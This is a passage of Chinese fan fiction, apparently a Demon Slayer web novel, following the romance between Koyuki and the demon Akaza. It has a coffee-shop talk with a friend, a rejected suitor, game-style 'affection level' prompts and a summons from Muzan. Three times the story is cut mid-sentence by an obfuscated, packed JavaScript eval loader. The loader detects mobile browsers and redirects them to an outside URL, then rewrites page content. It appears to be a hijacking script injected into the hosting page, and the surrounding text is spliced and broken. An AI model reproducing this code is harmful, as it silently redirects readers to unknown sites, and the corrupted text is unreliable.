富足、荣耀,这些外物,他能给她的花团锦簇礼物,她全都不想要。她想要的只是……他猜错了她的心思,他不该再逼问她。如果是那个与她心灵更为贴近的人类,想必不会如此逼问于她。 但他依然故作优游笑语:“可你还是没有告诉我那个问题的答案。” 无法证明他比她心中的幽灵更优越,他更是,更加、更加地想知道那个问题的答案。 多么恶劣,多么不知悔改。恋雪,你口中的爱,就连这点也能包容么? 终于,在他的注视中,她形状优美的唇轻启。 “和我有这一层关系的人就是你,一直只有你。” “如果你此刻认为你是猗窝座,那和我有这一层关系的人就是猗窝座。如果有一天你想起从前的事情,如果你愿意接纳你的过去,和我有这一层关系的人便也是狛治也是猗窝座。” 狛治和猗窝座,只是同一个人的一体两面。 许多年前,狛治温柔、坚定,风雨不动的挺拔下有若隐若现沉郁,令她的心日渐想向他靠近。许多年后,她也感谢猗窝座让她看到了爱人的另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282159|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面。鬼的血液释放了那个道场少年不曾在她面前展露的恣睢容颜,倨傲的,狂妄的,仿佛不羁的,外在强悍内里不安的,她终于,终于,完全看清了他的痛苦和忧愁。 她的花瞳凝望着他,纤长的手抬起,抚平黑暗中他紧皱的眉心。 “我对你的心从没有变过,我知道你的心也……”她向他诉尽情衷。 他却道:“不是那样。”他攥住了她按在他眉间的手,却没有将那纤柔皎洁的手移开。 “我的心,早已不是人类的心。我的心是鬼的心。” “你之前说,我受到那个人类残存的爱意影响吧,”阴影中,猗窝座用尽所有力气挤出一声看似优游的哼笑,“你未免也太看不起我。你觉得,我的心会受一个人类影响吗?我的心,就是鬼的心。” 令我困扰的,不是人类的心遗留在我心中的情愫……而是这颗鬼的心中生出的感情。 他的声音低下来:“一直驱使我靠近你的,就是这颗鬼的心。” 上弦三、武道鬼,他可以控制他每一块肌肉每一道筋脉,他一直一直,都在纯熟地控制这具鬼的身躯、这血肉铸造的杀器,无坚不摧,所向披靡。唯独是,他不知道怎么控制这种感情。 她一直说,他们是同一个人。但一百多年过去,光是为了抵御漫漫长夜中的空洞,他便不知徒手断折自己的肢体、捣碎自己的内脏多少次。捏碎,重生,捏碎,重生。他的心,怎会还是那颗最初的心?胸腔中因她而涌起的波动,千重万重,千般万般,一旦暴露在太阳之下就会灼伤,都是鬼的心才会拥有的感情。 他不敢看她。她当初说得没错。 幽冥之中,他心底有一个声音传来,她太过美好,是他抓不住的另一个世界的人,一旦拥抱就会落空。有时候就连看着她,他也会倏然收回他的视线,仿佛她是水中月影,他的目光一碰便会消溶。 咫尺之隔,他指着他的心口:“我已经没有曾经为人时的心了。我有的,就是这颗鬼的心,如果你连一个鬼的心也能接受的话——” 最后一次。 最后一次对她的试探。 他深蓝的手指指着的地方,大理石般的胸膛,是无限再生的血肉构筑出来的心的牢笼。 最后一步的距离,也被她消弭了。眼前的她,水中月影般的她,默默无言地抱住他。 汇聚了世间所有美好的她,一旦他伸手拥抱就会落空。但这次,是她反过来将他拥抱。 “即使你的心如今是鬼的心也无所谓。无论你的心是人的心还是鬼的心,我只希望你能早日卸下这颗心中的负担。我心中的爱,驱使着我想做些什么令你开心起来……” 她声音渐低,最后,将脸静静枕在他坚硬的胸膛、他的心口。 随着那一句句轻柔话语,怀中人的呼吸落在他胸膛上,如花苞在他生机早已终止的胸膛上绽放。 武道鬼的反应力何等敏锐,他几乎立刻感受到那点滴的温热。像有一把玲珑的钥匙,直抵他黑暗的内心深处,它转动时,在他心口激起一连串苍茫的悸动。再一次,再一次,复现他每每看向她时,他心中的悸动。 她的轻声细语如同绵绵不尽雪花,一直一直在他心中飘落。 我想要的……就是和你度过一生。 神社那天,是我爱上猗窝座的开端。 和我有这一层关系的人就是猗窝座。 他要说点什么,假装小事一桩,假装他能轻松应对,假装他能扳回一局—— 但他已经什么都说不出来。 一个水边望月的人,水中月在他眼中转眼成真。 他的浮夸、狂妄、凶恶、残暴,一切疾雨暴雨般的恶劣品性全都可以在短短一瞬间降落,消融于泥土,遁失于地下,因为羞于看见她的静美、纯粹,以及,爱的慈悲。 他一动不动地任她环抱着。沉默的鬼,一如一尊清灰色大理石塑像。雕塑是凝冷静止的死物,然而爱人的体温将他点化了。 到底,为什么之前会困扰。 所向披靡的上弦三,竟还没有肉体凡胎的她勇敢。 我会变强,我会保护你。如此幼稚的诺言,居然也能哄得她的心。只是这么简单的承诺,他轻易就能做到——他早已做到。上弦三觉得无比的荒诞,原来一百年来的磨砺,都是为了这样一句年少恋人间的傻话。这样,世上所有平凡的爱侣都会许下的承诺。 荒诞的,可笑的,真实的,庄严的。 只要她在他怀中,他就会永远保护她。而她必定、一定,永世都在他怀中。 不知过了多久,一千年,一万年,抑或只是三千宇宙中一瞬息。终于,他伸出手。 他坚固的臂反抱在她纤美单薄背上,收紧,再收紧,守卫着她,围困着她。另一只手,却只是轻轻覆在她的花眸上,遮住她的眼睛。 顺着他的动作微微抬头时,她纤长睫羽在他掌心轻轻颤动,似乎有一瞬间,她想开口说些什么,但她什么也没说。 喧杂的声音却像倾巢的蛇一样源源不断从他心中钻出。不她的话语里一定还有漏洞那诺言当真如此简单吗你居然真的向她三言两语屈服为何向人类的爱屈服她是个人类她的寿命是短暂的你们中间有无法填平的天堑她确实爱你但这又有什么用呢一切最终还是会离你而去—— 全都……全都闭嘴! 真是滑稽,真是好笑,在他终于愿意面对他的心的时刻,他的心吐露出来的,居然还是这些莫名其妙的废话。 你不是说你爱着“猗窝座”么。所以这种时候,你就再对他施舍一点恩慈和温柔怎么样,不要再看见他这副可笑的模样了。 这副连他自己的心都控制不住的模样。 最后的最后,他能控制的,唯有这副所谓的无坚不摧身躯。他压抑着几乎要从他全身爆发出来的颤抖,俯身而下—— 不要再有怀疑,不要再有妒忌,不要再有莫名其妙的阴霾。 他的吻落在她唇上。 一秒。 两秒。 三秒。 他紧密相拥之人,当她回吻他时,在她渡给他的清浅呼吸中,那些杂音全都消失了。 21.我回来了 因为在警察署门口站着太奇怪了,恋雪他们选择在与警察署一街之隔的公园长椅上稍等。 按照明治五年颁布的娼妓解放令,离开游郭后,需要到警察署申请歇业才算完全脱离游女身份。 半小时后,基督救世军的成员已陪着舞和莲从警视厅走了出来。昨天晚上,等在帝大附近的朋友们联络了基督救世军本部的妇女援助者。 舞一看见恋雪和修一行人,便在向他们招手。 公园的夏日草木旁,她将对未来的打算对几人道来:“我逃出来时只带了几十元,就先让姐姐接受第一个疗程的治疗吧。虽然救良院可以暂时收留我们,但之后我还是会去找一份工作的,就等十天半个月,等吉原那边放弃找我们之后。” 恋雪想了想,道:“楼主应该不会再派人来找你们了,毕竟……”毕竟昨天猗窝座先生把那群妓夫的手臂都徒手折断了应该大大地震慑了他们?这话说出来似乎,呃,有点奇怪。 还是信子将她的话补充完整:“毕竟昨天恋雪把那些打手都狠狠揍了一顿,他们要是不想找死应该不会再来了。” “舞小姐你就放心地去找工作吧。何况,东京这么大,只要混入寻常百姓之中应该很难再被找到了。以后舞小姐和莲小姐就像生活在这座城市的其他人一样,做一个寻常的百姓。” 舞眼中有淡淡湿润,和莲对视一眼后道:“好,既然是这样的话,我立刻就去找工作。如果不介意的话,等我找到工作后、我领到第一份薪水后,我们想请大家吃一顿便饭。” 莲也道:“对,就当是我们的一点心意。” 恋雪道:“舞小姐的钱不是要留着给莲小姐看病么,等二位安定下来后,寄一封信来告诉大家你们的新生活就足以使我们高兴了。” 修和百合也如是道,您的钱要留着给莲小姐看病,不必破费。 “这怎么——” 恋雪轻轻握住她的手:“早上的时候我听诗社的朋友们说了,昨天晚上您提供的访谈资料很有价值,这就够了。希望日后收到二位的来信的时候,能看到你们已经过上想要的生活。” 看着眼前帮了她和姐姐的众人,舞笑道:“我一定很快就会寄出我的信。”在这张青春的脸上流露的笑,既不是给客人敬酒时的笑,也不是见世栅栏旖旎灯色下的笑,只是发自一个即将迎接明日阳光的年轻人心中,真诚的笑。 蓝天的日晖,沿着葱茏草木淡淡洒落而下。 * 告别了舞和莲姐妹,游郭的事情暂告一段落。 假期结束在即,假日的尾声,她想和信子再畅叙一次。信子下学期会去中学实习,二人怕是有一段时间无法再见。 刚好,这附近有一间咖啡室。 瓷杯微微发烫,咖啡苦甜的滋味在恋雪舌尖漾开。 “说起来,以前好像从来没有听你提起过猗窝座这个人。” “这,他是……” “该不会和那种市井小说一样,是什么被逐出师门后还对师门念念不忘所以自己凑上来的叛逆弟子吧?” 怎么能算逐出师门呢,即使他变成了鬼,她也只会想要留下他。爸爸倘若有知,应当也会和她是一样的想法。不过念念不忘所以凑上来,这点倒是有点符合——就这样说好了。 恋雪刚想顺着信子的话说下去,没有逐出师门,他之前只是离开了素流一段时间,最近才回来。但一转眼,她的话又咽了回去。 因为坐在她对面搅拌着咖啡的朋友无奈地笑了一声。 “还是说,他就是你那个未婚夫?” “狛治的‘狛’和猗窝座的‘猗’都是一样的意思吧,犬。昨天第一眼看到他我就觉得这个人很奇怪,他根本就是……”窗外青空湛蓝,信子那双一直活力充盈的眼睛,望向她时带了几分化不开忧愁,“即使对方变成了那种生物,你也依然要和他在一起吗?” 原来信子看出来了。 对方眼中的忧虑,比那天她说自己要加入鬼杀队时更深。 恋雪沉默片刻,道:“是。” “你也太……唉,我就猜到你会这么说。” 尽管恋雪和她提起那位未婚夫的次数不多,但寥寥数语中流露的对那个人的爱,如海般静谧而深邃。 对一个亡人投入这么多情意是很不理智的行为。 像摇转着早就应该停下的纺锤,没有尽头的红线垂落下来,困住的只有生者自己。 红线的另一端重新将一个人连系,她应该为朋友感到高兴才是。 但命运转眼又将她的朋友戏弄。那个人居然变成了鬼。 她试探着开口:“刚才你说和我来喝咖啡的时候,浅野学长说他还有话想告诉你。” “要我说呢,浅野学长昨天见到你那个猗窝座师兄和你那么亲密还不放弃也是够执着的,”信子悠悠叹了一口气,“你还是说点狠话打消他的心思比较好哦,这也是为他的人身安全着想。毕竟,‘猗窝座师兄’不是什么善辈吧。”说到最后一句,她观察了一下恋雪的神色。 “信子你不要再这样打趣我了……”恋雪端起咖啡又喝了一小口,“昨天我称呼他师兄,他似乎不是很开心。以后我还是继续称呼他为……” 啊,重点不是你要怎么称呼他。 信子用咖啡小匙敲了敲瓷杯:“我看你还是继续称呼他师兄比较好。” “你不是说你和他才重逢三四个月吗,他如果只是单纯失忆了也就算了,这连物种都变了,怎么看都要再考察他一段时间吧。” 恋雪笑着摇摇头:“已经不用了,虽然只有三四个月,但我已经重新了解了他一遍。” 什么不用。信子一想起昨天那个粉红色头发的男人就头大。 那个人、不是,那个鬼的举止实在太轻浮了。贴上恋雪时如此的轻浮,面对其他人,又完全是一副冷酷不屑的面孔。令她担忧的是,在一个非人生物眼中,人类的恋人到底是怎么样的存在,一个对人类不屑至极的鬼,会把爱人也当成平等的另一半吗? 信子想了想,还是斟酌道:“你能打得过他吗?” 恋雪还以为自己听错了。 “我能不能……?” 看见她花瞳中的疑惑,信子继续补充:“如果你和他实力差距过大的话,和他在一起不是很危险吗,谁知道他会不会忽然变脸,然后——” “他不会的。” “信子,不用为我担心,其实他的心一直没有变过。”她望着朋友担忧的神色,轻声道。 但小桌对面,朋友的眉心依旧蹙起,不曾放松。 “你是甲级队员还打不过他,他是不是你之前说过的上弦之月的鬼。你可别以为我之前问你在鬼杀队过得怎么样都是寒暄,我都记着呢。” 看恋雪的表情,分明是被她说中了。 “他有说过愿意为了你脱离鬼的阵营吗?” “他……” 恋雪停顿几秒,继续道:“他为了我,现在已经控制了他心中血腥的欲望。我不想强迫他,我只想潜移默化改变他的意志,我也相信他一定能做到。” 无论走过多少歧途,他还是回到了她身边。那些歧路在他心中留下的阴翳阴暗,她会勤恳将它们拂去。 “我真是说不过你,”信子仿佛被她打败一般,做了个投降的手势,“唉,但愿如此吧。” “我们再叫两客蛋糕来吃吧,吃完后,你就……”她的好友眨眨眼睛,“恋雪你就赶紧对浅野学长说些狠话,保他一命。” 果然,顺着信子的视线,咖啡室门口处,已经站着一道熟悉的身影。 * “素山小姐!” “请让我送你到电车站好么?我刚好……也有一些话想对你说。” “那就有劳浅野先生了。”恋雪对他点了点头。 从公园前的咖啡室到电车站,大概需要走十几分钟。 这不算长的一段路,恋雪始终和修保持着一臂的距离。 “这次多亏了素山小姐在,否则那群妓夫追上来的时候……” “应有之举而已,浅野先生不必挂在心上。” 比起吉原的妓夫,吉原有鬼的传闻威胁才更大。不过调查三日,唯一出现的鬼却是…… “你师兄——” “你师兄昨天对你……” 恋雪微微愕然,刚刚一时走神,她还以为浅野先生读了她的心。 “既然他一直拒绝你,你能不能,给我一个机会?”路边一幅橱窗旁,修停下脚步,“你是……第一个给我特殊感受的女孩。” 娴雅,静美,不经意间流露的灵秀和坚毅。 “说来惭愧,我一直希望能成就一番事业,能做些什么为国为民的事情,但那几天在游郭中,我却连体察到游女们的苦处都做不到,还需要你的提醒。你说的话,你的身姿,总是让我触动。” “我或许无法像猗窝座先生那样和你修行一样的武术,但我也能,”他深吸一口气,一鼓作气说出来,“我也能帮忙宣扬素流,我以后会承袭我父亲的爵位。” 苦思冥想了半天,尽管他不愿意承认,但家世似乎就是他唯一的优势。 “不过我和我父亲不一样,我不认同女方只能当主妇打理后宅那一套,我能给你很多资源去实现你的追求,你的梦想。我一定会平等、体贴地对待你。” 车水马龙,人群来来往往。 夕阳下的橱窗中立着两个白木的模特人偶,一个是和服搭配衬衫的书生风格打扮,一个是小袖和袴裙的女学生打扮。东京许许多多的新式和服店,都是如此布置它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300806|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的橱窗。洁白的木偶,文雅、体面、新式的一对男女,新世纪的良配。 刚好,站在这橱窗前的恋雪和修,居然也是如此打扮。 但投映在橱窗女模特上的女孩的影子摇了摇头。 “谢谢你,浅野先生。” “其实他昨天也和我说了类似的话,给我财富,给我荣誉,”思及此处,她还觉得有点好笑,男人们在没有把握的时候都会这样拼命用外物证明自己么,昨天他也是这样,简直像一只拼命展示华美羽毛的大鸟,“不过我想要的,始终还是和他在一起,仅此而已。” “而且他昨天也……终于答应了我,回应了我。” “浅野先生,谢谢你的心意。在我眼里,你是一个非常优秀的朋友。我真心地祝福你,你的愿景、理想,日后一定会实现的,我也祝福你能早日找到一个和你志同道合的人。” 不出意料地,被拒绝了啊。 对恋雪的答复,其实修心中早有预料。 毕竟她看向那位猗窝座的时候,眼神沉静而纯粹。 明知道会被拒绝也想着,那个猗窝座对她态度若即若离,说不定自己还有一点点机会。结果那位猗窝座先生也不是什么傻子,知道不能错过眼前的女孩。 他微笑道:“素山小姐,我也祝福你。祝福你实现了你的愿望。我想,他一定是那个和你志同道合的人。” 电车站已在眼前。 浅野修的本家也在麻布区,但他没有和她坐上同一班车,而是去了另一边,驶往帝大文京校区的方向。 电车铃响了。 玎玲玎玲。 二十世纪的晚风,从车窗外丝丝吹进,轻柔拂着她雪白容颜和秀浓黑发。 这个时间乘坐电车的乘客们,多数都是为了回家。 清晨出门,入暮归去,这就是这座城市中大多数市民的生活。鬼杀队假期的最后一天,她也体验了一次这样普通的生活。 普通的,平静的,即使没有壮阔波澜也牵动着她的心跳的。 因为电车轨道的尽头,浮生一日轨迹的尽头,是…… * 鬼注视着眼前的光亮。 阳光。 只要一道阳光,就能将她从他身边推远,将他们隔绝。 身为上弦之三的恶鬼拉动窗帘,金瞳淡漠,观察着黑暗中那一道斜斜照进的阳光。 在鬼主宰的黑夜,他轻易就能循着她的气息追到她身边,但白昼到来,她的一切便脱离了他的领域。 昨天晚上她才枕在他胸膛上入睡。她柔顺的发丝、她颈后的温热,他恨不得用每一寸血肉去记忆。深夜里,将她圈于怀中时,珍珠般在他金瞳下滚动的分分秒秒,转眼如海中泡沫飘散而去了。因为白日降临,阳光把她藏了起来。 尽管他知道到了晚上她就会回来。 那位大人找到蓝色彼岸花后真的能在阳光下行走吗?倘若这个计划真能实现,分享了那位大人细胞和血液的鬼们,也将不再受制于太阳。 以前他对此倒完全无所谓,身处黑夜也好,白天也好,不影响他的目标。因为从前,他的目标只有变强…… 为什么这该死的时间过得这么慢。 白天的时间居然这么慢! 慢到,他将这宅邸中每一丝灰尘都擦拭干净,居然才过去了一小时。以往的白天,他都是在密不透光的山林中打磨体术度过,但在这个小小的家里施展他的武道,所有东西都会被打烂吧。即使是庭院,也种了她喜欢的花。 微微拉开的窗帘中,隐约可见一点屋外景象,他和她一起走过的漫长山道此刻仅有狭窄一隙。 只是这狭窄的一隙,落入他眼中也几乎都是刺目的白光。因为鬼的细胞抗拒着太阳,就连直视阳光下的风景都变得无比刺痛。 绘画,打扫,准备饭菜,在做了所有能做的事情后,他注视着那空隙,从正午,到夕阳。 为什么还没找到蓝色彼岸花。 其他鬼根本没有认真去找吧,那群每天杀人吃人就满足的低等东西。 那位大人能快点实现他的计划吗? 猗窝座烦闷、枯燥、无聊,在漫长的等待中回想起她的面影确实可以纾解一二,但很快,他心中涌起一阵更深的饥渴。 宛如一个海上飘零的人,妄图喝海水消除无边干渴。 直到他的金瞳中、夕阳琥珀金的光中,出现一道纤丽身影。 暮色四合,阳光已经没有那么强烈,他几乎立刻奔下楼,打开了门—— 即使是在屋檐下,最后一点阳光也如针般刺在他身上。 但他完全,完全无所谓。 “猗窝座先生,你还特地开门迎接我……?”门后的恋雪有点惊讶,随后花瞳中漾起动容的笑,“我回来了。” 22.肌肤饥渴症 她是一朵咫尺的花,他轻易就能贴近她。 她的肌肤,她的眉心,她的颊,她的唇,她在他怀中轻轻吐出的白色珍珠般的呼吸,全都近在咫尺,一转身便可得到。如果他全然放纵他的心,他一定早已迫不及待地将她环搂怀中。 时至今日,他才越过他心中最后一道防线。 他的臂很快将她包围。 恋雪推了一下,发现推不动,再推一下,还是推不动,她只好道:“我还没有换衣服哦。” 她当然乐意享受他的拥抱,如果那个系统的提示音没有一直响的话。 【攻略对象目前好感度79。】 【叮,攻略对象欲望值+1,目前欲望值45。】 【叮,攻略对象欲望值+2,目前欲望值47。】 【叮,攻略对象欲望值+2,目前欲望值49。】 昨天晚上她听了一整晚关于“猗窝座”欲望值的提示音,不断地加一减一加二减二加三减三。听起来似乎很克制,很纠结。早上醒来的时候,经过他一番思想斗争,明明还只有三十多。这才过了半天,她回到家时居然已经飚到四十九了。这……狛治哥哥、猗窝座先生,你一个人在家的时候都在想些什么? 眼前肌肉起伏的鬼,怀抱实在过于坚固。拥抱间,她的袖子被卷起来一点,他用力之紧,臂上甚至有青筋虬起,青筋贴上她露出的雪白肌肤,勃勃跳动着。狮子般的肌群、鼓点般的脉搏、蜿蜒蛇行的青筋,他每一寸血肉都将她紧密围拢。 比躯体蕴藏更多的是他的眼神。他的躯体只是亲密无间地紧贴着她,眼神却像要从她薄薄肌肤中沁下去一般,无限侵袭。无限着魔。 呼吸间全是她悠柔芬芳。鬼胸膛起伏,因此更用力地呼吸着,渴饮。 他的体温将怀抱炼得滚烫,很快,她的额便有一滴薄汗沁出。猗窝座几乎是迫不及待地低下头,俯首,将她那一滴汗舔去。小小的一滴汗,沿着他猩红舌尖和他融为一体——这滋味真是,战栗、忘我、心驰。仅仅是占有了她一颗小小汗珠,他便露出胜利的微笑。 猗窝座不知道这种心情是什么。和昨晚在玄关处的心情不一样。 既柔情又凶狠,既想呵护她又想把她吃掉。时轻时重,时驰时疾,复杂的心流在他周身通行时,简直要令他抽搐。 昨天晚上,他真的很想很想,咬她一口。在她纤长颈项、轻薄瘦肩,随便哪里都好,留下一道印痕……但这样柔软到令他的心都在发抖的皮肤,他实在不敢进犯。哪怕只是留下个牙印。好在,她汗滴的余韵犹在舌尖,他压抑着,又在她眉心舔了一下。 怀里那个一而再再而三被他轻舔的人,愣了半晌,终于回神。她多天真,多单纯,还在作着无用的抵抗:“门还没关呀,要是被路过的邻居看到的话……” 恋雪觉得自己只是实话实说,门没关,庭院的白色栅栏门也疏落,确实有被附近的邻居看见的可能性。 于是轰一声,扬起的风浪瞬间将那门关上。 猗窝座露出得逞的笑:“现在呢,门也关上了,你还有什么借口?” 这,的确是没有借口了。 但很快,她发现……原来他根本不知道要做什么。再度降临在她唇上的吻,仅仅是依循着本能在胡乱舔咬。昨天晚上,居然还是他超常发挥! 猗窝座立刻看见她弯起的眸:“你笑什么?” “没什么。” “我明明就看到你笑了。” “只是……觉得猗窝座先生你如此强悍,居然也有不擅长的事情,有点反差。” 不擅长的事是指什么?旋即,猗窝座已反应过来,她居然敢—— 但好胜心无比强烈的鬼被指出“短板”,仅仅是怔愣半秒。他的怀抱未曾松懈半分,只是略微歪了歪俊美的脸,眼中带着一点轻浮笑意:“是吗,那你给我示范一下怎么样?” “那你要放松一点。” 她拉起他的双手,却不曾转身,而是倒退着,和他对视,一步步将他从玄关引导到客厅。 他居然把客厅打扫得这么干净。 明亮灯光下,她捏了一下他的掌心,示意他将头低下,然后,轻轻地贴着他的下唇。她淡粉的双唇,轻柔将他无色的唇瓣含住。啊,明明说了让他放松一点。余光里,他的咬肌却一瞬间便绷紧了。 贝肉一样贴着他的唇,珍珠一样滚落到他口中的呼吸。 甜蜜的几秒钟过去,猗窝座眨了眨眼,又笑道:“我还是不太懂,你再教我一次吧。” 居然还不懂么?看来掌握百般武艺的武道鬼,也有他的青涩之——唔。 再度俯首的鬼很快有样学样,将她柔软下唇轻衔。“练习”着新习的接吻技巧时,鬼肩上、背上肌理起伏耸动,宽阔而舒展,像一头巡视春天草原的雄狮。 分开一秒,他复又吻下,好几个吻的间歇里,他低声喘息,断断续续说着:“反正时间多得是,我可以一直和你练习下去……” 她却道:“我的休假明天就结束了。” “什么?” 恋雪道:“我平时有工作呀。” 猗窝座原本沉浸在快乐洪流的心,顿时混入许多烦躁。 在鬼杀队杀鬼也算工作么,不过是无意义的徒劳。人类无法再生,寿命短暂,却妄想战胜比他们高等百倍的鬼——当然,她不属于那比他低等的行列,她是世上唯一与他平等的存在。 他恨得牙痒痒。 真想,劝她干脆退出鬼杀队算了。他可以助她重新主持素流的道场,那才是适合她的工作。 但鬼杀队的成员一般二十多岁也就退队了吧,大不了再等几年也就是了,何必说出来扫她的兴。 又再思索片刻,他道:“那你每天还回来么?” 听到她要回鬼杀队,猗窝座先生居然一点也不阴阳怪气,恋雪很是惊讶。但小小的惊喜过后,她依然实话实话:“有可能做不到每天都回来了,如果是远途任务,我会在当地休息。” “那不过是因为你们人类的步伐太慢了,如果你想要,我可以每天去接你。” 每天来接我是指……? 她还没问出口呢,他已立刻把话接上:“你之前也见识过我的速度了吧,不用担心,我会把你抱稳的,即使是疾驰也不用担心会掉下来。” 他越来越亮的金瞳,分明就是在说,快点答应我。 恋雪浅浅吸了一口气,才能勉强做到在这双闪亮的金瞳注视下说出拒绝的话。 “虽然很谢谢猗窝座先生你的心意,但这不太好吧……平时的任务我都有队友、同伴,如果我每天都定点消失第二天又定点出现的话,会显得我很奇怪哦。而且也不好每天都麻烦你……”看见他眼神果然暗下,恋雪赶紧找补一下,“不过你也不用太焦虑,不一定就是远途任务。” “我没有焦虑,”猗窝座抓了抓一头粉红的短发,“我就是随口问问你,你不领情就算了。” 不过,她不领情又怎么样,他依然可以每天跟着—— “猗窝座先生,你也不要再总是在我执行任务的时候跟着我了……” 猗窝座的表情极度僵硬。 他故意泄露一丝气息的时候,她不是明明察觉到又假装若无其事吗,她不是……一直乐在其中吗! “虽然你一直那么关注我让我很感动,但之前没和你说,是因为怕和你说了后让你尴尬,会把你赶跑,”她重新牵起他的手,难得俏皮地一笑,“不过现在我的‘目的’都达到了,也不用那么谨慎了,是么?我希望你和我在一起之后,可以试着找找看其他兴趣爱好,拓宽一下你的生活。当然,如果是打架斗殴的话可不行。”她是真诚地,希望他重拾起人间中许多的欢乐、幸福,在她身边之外,还有一整个万花筒般的世界。 他眼中满是被她牵住的手。她月光一样轻柔皎洁的手,将他布满罪人深蓝色刺青的手牵引。 真是天真的心愿,一番幼稚的语言。她的祝福很荒谬。一个鬼,如何再重新融入人间? 但他依然一句嘲讽的话都没有,只是漫不经心地谑笑一下:“你让我做什么我就做什么?” 既然特意暴露他的存在会引得她说这样多傻话,那他干脆把所有气息都隐藏起来算了。她那些所谓的同伴,会像他一样尽职尽责地保护她么。 【叮,攻略对象好感度+1,目前好感度80。】 * 大约是因为明天就要和她“暂别”,接下来一晚上,他都寸步不离跟着她,紧贴她。吃饭前她要从壁柜取一瓶新的调料,因身高略有距离,她微微踮起脚尖,但很快,后背贴上一道比她高大得多的身影,她的后脑,根本就是靠在他健美刚强胸膛上。只是帮她拿一瓶调料,需要、贴得这么近吗? 他甚至还乘机向她的耳珠吹一口气。 就连晚餐时分,他也是一转不转盯着她看。夸赞他的厨艺反而还起了反效果,那双暗金色眼睛,更加将她深锁。 折腾到现在,她才终于将衣服换下——这还是因为她说她真的要去洗澡了。 衣柜中,先映入眼帘的是一黑一粉两件和服,男款和女款。 在昨晚之前,它就已经挂在这里。 是的,他出现在游郭时穿的那件和服,居然也是血肉拟态。 猗窝座对此的答复是,因为预料到有必要惩戒一些蝼蚁臭虫,不想让那些肮脏的血液溅到这件衣服上。 他哼笑一声,虽然人类的衣服也是无用之物,但毕竟是你买的。 一时间恋雪也不知道回答什么好,她只好暗暗告诉自己,以后不要再思考鬼用血肉拟态衣服是不是相当于什么也没穿这个问题了,不要再想! 温暖的水流将她包围时,她回忆起这两日和他相处的点滴,前一秒还不自禁微笑,这一秒已脸颊通红,不知是否热水氤氲晕染……过了许久,她才想起要清点一下系统发放的奖励。 六十、八十,“倾心相许”和“情根深种”,两天便突破两个阶段,似乎达成了一个什么特殊成就。 【恭喜宿主攻略进展飞快,已解锁成就“手到擒来”、“太迷人又不是我的错”,获得特殊道具“爱神的轻语”;获得可交互道具“平平无奇的小沙发”,百分百触发特殊画面“恋雪,你就坐到我大腿上怎么样”。】 爱神的轻语,可让攻略人物对宿主言听计从,一次性使用,持续效果一小时。 虽然看起来很有用,但她自觉无需他言听计从。爱一个人,当然不是要对他发号施令,靠他的服从来满足自己的私欲。 还有这个可交互小沙发也是有点意味不明……还是不要给她这种奇怪的东西了吧…… 【“平平无奇的小沙发”已在宿主客厅放置。】 好吧! 【恭喜宿主成功避免高黑化值人物的60好感值阶段“情枷爱锁”、80好感值阶段“恨海情天”。避免高黑化值攻略人物的负面情感状态,成功概率仅为1%。已解锁成就“天选之人”、“阅读理解满分者”。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无限城的建筑密密麻麻犬牙差互,像巍峨竖起的乱坟,他疾驰时一座座墓碑从他身畔退去。 高台之上,黑西装白裤的男人面无表情。 猗窝座一拳撑在地上,单膝跪下:“无惨大人。” “猗窝座,你最近很松懈啊,一次也没有来汇报。” 不止没有来汇报,偶尔他探查一下部下的动向,居然看到上弦三漫无目的地在郊外看风景。一次还好,次次如此—— 猗窝座心中一凛。 须臾间,他立即调动出过往的血腥杀戮记忆充斥自己的思绪。 无惨大人应该还不至于对他百年来上千桩杀戮如数家珍。 不知眼前的鬼王是否以为他依然如常杀人,仅仅是对任务略有懈怠而已,姑且是,瞒了过去。 至少对方没有提起任何和“她”有关的事情。 “这三个月你一次也没去找蓝色彼岸花,也没有去探查产屋敷本家的所在。” 一开始看到上弦三在看风景,他还以为这个一直得力的下属到郊野找蓝色彼岸花去了。但很快,他发现,上弦三,居然真的就是在看风景而已! 洞悉所有下属喜恶的鬼王,知道如何最能羞辱上弦三。 “你也学会和童磨一样消极怠工了吗,猗窝座?” 果然,被和上弦之二相提并论的上弦之三一瞬间额头青筋暴起。 观察到部下屈辱的表情,无惨冷笑一声。沉默寡言的上弦三,被侮辱时露出的表情比童磨和玉壶那两个嬉皮笑脸的东西让他满意得多。 “月底在长崎有个万国园艺博览会。有个西洋植物学家宣称发现了一种新的蓝色花卉,也会展出。到时候你过去一趟。” 鬼王的声音逐渐低沉,带着浓重的压迫意味:“这次,你最好上心一点,猗窝座。” 原来召唤他来只是为了下达新的任务。 长崎到东京,按照他的速度也只是半天时间。 一如往常地,猗窝座向鬼王垂首:“是。” 看他收到寻找蓝色彼岸花的命令后还算有干劲,无惨随便点了点头。 下一刻,猗窝座的身影已在一片暗金灯影中消失。 无边无际的无限城,顿时只剩鬼王和另一个人。 不远处一方榻榻米上,黑发女子低眉信手,弹奏着怀中跟随她多年的琵琶。 